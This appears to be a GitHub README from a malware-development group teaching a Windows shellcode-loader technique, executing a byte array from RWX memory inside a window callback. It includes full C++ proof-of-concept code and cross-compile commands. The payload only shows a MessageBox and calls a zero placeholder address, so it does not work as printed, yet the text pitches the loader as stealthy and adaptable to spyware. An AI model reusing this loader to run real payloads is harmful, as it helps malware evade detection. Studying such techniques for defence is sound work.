https://github.com/malforge-maldev-public-organization/shellcode-injection-using-window-callbacks
A minimal Windows GUI demo that allocates memory and executes 64-bit shellcode to display a MessageBox. Demonstrates basic shellcode injection using `VirtualAlloc`, `memcpy`, and function pointers in C.
https://github.com/malforge-maldev-public-organization/shellcode-injection-using-window-callbacks
callback shellcode-injection windows
Last synced: 10 months ago
JSON representation
A minimal Windows GUI demo that allocates memory and executes 64-bit shellcode to display a MessageBox. Demonstrates basic shellcode injection using `VirtualAlloc`, `memcpy`, and function pointers in C.
- Host: GitHub
- URL: https://github.com/malforge-maldev-public-organization/shellcode-injection-using-window-callbacks
- Owner: Malforge-Maldev-Public-Organization
- Created: 2025-05-06T11:44:17.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-05-08T11:36:48.000Z (about 1 year ago)
- Last Synced: 2025-07-08T06:52:33.848Z (12 months ago)
- Topics: callback, shellcode-injection, windows
- Language: C++
- Homepage: https://malforge-group.in/
- Size: 19.5 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Shellcode Injection via Window Callbacks
Shellcode injection is a potent technique in security research and exploit development, enabling the execution of arbitrary machine code within a target process. This post focuses on **shellcode injection via window callbacks**, a method that leverages the Windows messaging system to execute shellcode through the `WndProc` function.
---
## Introduction to Shellcode Injection
**Shellcode** is a small, position-independent sequence of machine instructions that performs specific tasks such as spawning shells, displaying messages, or establishing connections. It is a fundamental element in many exploits.
Shellcode injection typically involves:
1. Injecting shellcode into the memory of a process.
2. Redirecting code execution to the shellcode’s location.
Common techniques include thread injection, function pointer manipulation, and callback exploitation. This article focuses on **window callbacks**, a technique rooted in the Windows GUI subsystem.
---
## Understanding Window Callbacks
### What is a Callback?
A **callback** is a function registered to handle specific events or actions. In Windows programming, callbacks manage GUI events, such as mouse clicks or key presses.
### Window Procedure (`WndProc`)
The `WndProc` is a user-defined function for handling messages sent to a window:
```cpp
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
```
Parameters:
- `hwnd`: Handle to the window.
- `msg`: Message identifier.
- `wParam`, `lParam`: Additional message information.
### Windows Messaging System
Windows uses a **message queue** for GUI threads, which is processed in a loop using `GetMessage` and `DispatchMessage`. The system calls `WndProc` when dispatching messages, making it a suitable target for injection.
---
## Shellcode Injection via Window Callbacks
### Concept
This technique involves:
1. Creating a window with a custom `WndProc`.
2. Allocating executable memory for shellcode.
3. Copying the shellcode into memory.
4. Modifying `WndProc` to run shellcode on a specific message.
5. Triggering the message to execute the code.
### Why Use Window Callbacks?
- **Reliability**: The OS ensures `WndProc` is invoked for relevant messages.
- **Legitimacy**: GUI callbacks are typical and less suspicious.
- **Simplicity**: Easy to implement and control.
---
## Proof-of-Concept (POC) Code
This C++ code uses a basic 64-bit shellcode that shows a MessageBox. It includes memory allocation, execution, and cleanup.
```cpp
#include
// Simple shellcode to display a MessageBox (64-bit)
unsigned char shellcode[] = {
0x48, 0x83, 0xEC, 0x28,
0x48, 0x31, 0xC9,
0x48, 0x8D, 0x15, 0x1E, 0x00, 0x00, 0x00,
0x4C, 0x8D, 0x05, 0x1F, 0x00, 0x00, 0x00,
0x48, 0x31, 0xC9,
0x48, 0xB8, /* MessageBoxA address placeholder */ 0,0,0,0,0,0,0,0,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x28,
0xC3,
'H','e','l','l','o',' ','W','o','r','l','d',0,
'T','e','s','t',0
};
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
static LPVOID shellcodeAddr = NULL;
if (msg == WM_USER + 100) {
shellcodeAddr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcodeAddr) {
MessageBoxW(hwnd, L"Failed to allocate memory", L"Error", MB_OK | MB_ICONERROR);
return 0;
}
memcpy(shellcodeAddr, shellcode, sizeof(shellcode));
((void(*)())shellcodeAddr)();
VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
shellcodeAddr = NULL;
return 0;
}
if (msg == WM_DESTROY) {
PostQuitMessage(0);
return 0;
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
WNDCLASSW wc = { 0 };
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = L"InjectWindow";
if (!RegisterClassW(&wc)) {
MessageBoxW(NULL, L"Failed to register window class", L"Error", MB_OK | MB_ICONERROR);
return 1;
}
HWND hwnd = CreateWindowExW(0, L"InjectWindow", L"Shellcode Demo", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 400, 300, NULL, NULL, hInstance, NULL);
if (!hwnd) {
MessageBoxW(NULL, L"Failed to create window", L"Error", MB_OK | MB_ICONERROR);
return 1;
}
ShowWindow(hwnd, nCmdShow);
UpdateWindow(hwnd);
SendMessageW(hwnd, WM_USER + 100, 0, 0);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
return (int)msg.wParam;
}
```
---
## Compiling Shellcode on Kali Linux
To compile the above code for Windows on Kali Linux:
### Prerequisites
```bash
sudo apt update
sudo apt install mingw-w64
```
### Compilation
```bash
x86_64-w64-mingw32-g++ -static -static-libgcc -static-libstdc++ -DUNICODE -D_UNICODE -mwindows shellcode_injection.cpp -o shellcode_injection.exe
```
Explanation:
- `-static`: Statically links libraries.
- `-DUNICODE`: Enables Unicode support.
- `-mwindows`: GUI subsystem (no console).
- `shellcode_injection.cpp`: Your source file.
Transfer the `.exe` to a 64-bit Windows environment and execute.
> Note : Ensure the shellcode is 64-bit (as provided) for compatibility.
> Test in a Windows VM, as Kali cannot run the .exe natively.
> Use -g for debugging symbols if needed: -g -fdiagnostics-color=always.
---
## POC(Test in VS Code)

## Code Explanation
### Header and Shellcode
```cpp
#include
// Simple shellcode to display a MessageBox (64-bit)
unsigned char shellcode[] = { ... };
```
``: Provides Windows API functions for windows, messaging, and memory.
**Shellcode**: A simplified 64-bit payload to call `MessageBoxA("Hello World", "Test", 0, 0)`. It:
- Sets up the stack and parameters.
- Calls `MessageBoxA` (placeholder address).
- Includes strings `"Hello World\0"` and `"Test\0"`.
> Note: The `MessageBoxA` address is a placeholder; a real implementation would resolve it dynamically.
### Window Procedure (`WndProc`)
```cpp
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
static LPVOID shellcodeAddr = NULL;
if (msg == WM_USER + 100) {
shellcodeAddr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcodeAddr) {
MessageBoxW(hwnd, L"Failed to allocate memory", L"Error", MB_OK | MB_ICONERROR);
return 0;
}
memcpy(shellcodeAddr, shellcode, sizeof(shellcode));
((void(*)())shellcodeAddr)();
VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
shellcodeAddr = NULL;
return 0;
}
if (msg == WM_DESTROY) {
PostQuitMessage(0);
return 0;
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
```
**Purpose**: Processes messages and executes the shellcode.
#### Key Elements:
- `static LPVOID shellcodeAddr = NULL`: Tracks allocated memory.
- `if (msg == WM_USER + 100)`: Executes shellcode for the custom message.
- `VirtualAlloc`: Allocates executable memory.
- `memcpy`: Copies the shellcode.
- `((void(*)())shellcodeAddr)()`: Runs the shellcode.
- `VirtualFree`: Frees memory to prevent leaks.
- `WM_DESTROY`: Handles window closure, posting `WM_QUIT`.
- `DefWindowProcW`: Processes unhandled messages.
### Main Function
```cpp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// Register window class
WNDCLASSW wc = { 0 };
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = L"InjectWindow";
if (!RegisterClassW(&wc)) {
MessageBoxW(NULL, L"Failed to register window class", L"Error", MB_OK | MB_ICONERROR);
return 1;
}
// Create window
HWND hwnd = CreateWindowExW(0, L"InjectWindow", L"Shellcode Demo", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 400, 300,
NULL, NULL, hInstance, NULL);
if (!hwnd) {
MessageBoxW(NULL, L"Failed to create window", L"Error", MB_OK | MB_ICONERROR);
return 1;
}
// Show window
ShowWindow(hwnd, nCmdShow);
UpdateWindow(hwnd);
// Trigger shellcode
SendMessageW(hwnd, WM_USER + 100, 0, 0);
// Message loop
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
return (int)msg.wParam;
}
```
**WinMain**: Uses the GUI entry point for compatibility with `-mwindows`.
#### Window Setup:
- Registers a window class (`InjectWindow`) with `WndProc`.
- Creates a 400x300 window titled “Shellcode Demo”.
**Display**: Shows and paints the window.
**Shellcode Trigger**: Sends `WM_USER + 100` to execute the shellcode.
**Message Loop**: Keeps the window responsive.
**Return**: Exits with the message loop’s result.
## How It Works
1. **Initialization**: Registers a window class and creates a window.
2. **Display**: Shows a window titled “Shellcode Demo”.
3. **Trigger**: Sends a message (`WM_USER + 100`) to execute shellcode.
4. **Execution**:
- Allocates executable memory.
- Copies shellcode.
- Executes it.
- Frees the memory.
5. **Loop**: Processes messages.
6. **Output**: MessageBox with "Hello World" and title "Test".
---
## Security Implications
### Malicious Use
- **Malware**: Can be adapted to run spyware or other payloads.
- **Exploitation**: Effective in GUI-based processes.
- **Red Teaming**: Demonstrates post-exploitation techniques.
### Why Effective?
- **Stealthy**: Mimics GUI message handling.
- **Controlled**: Triggered by specific messages.
- **Simple**: Requires minimal code.
---
## Conclusion
Shellcode injection via window callbacks is a reliable and stealthy method for arbitrary code execution in Windows environments. The POC offers a practical introduction to shellcode behavior, memory management, and Windows internals. Always use responsibly in controlled labs or for red teaming.
Thank you for reading!
— **Malforge Group**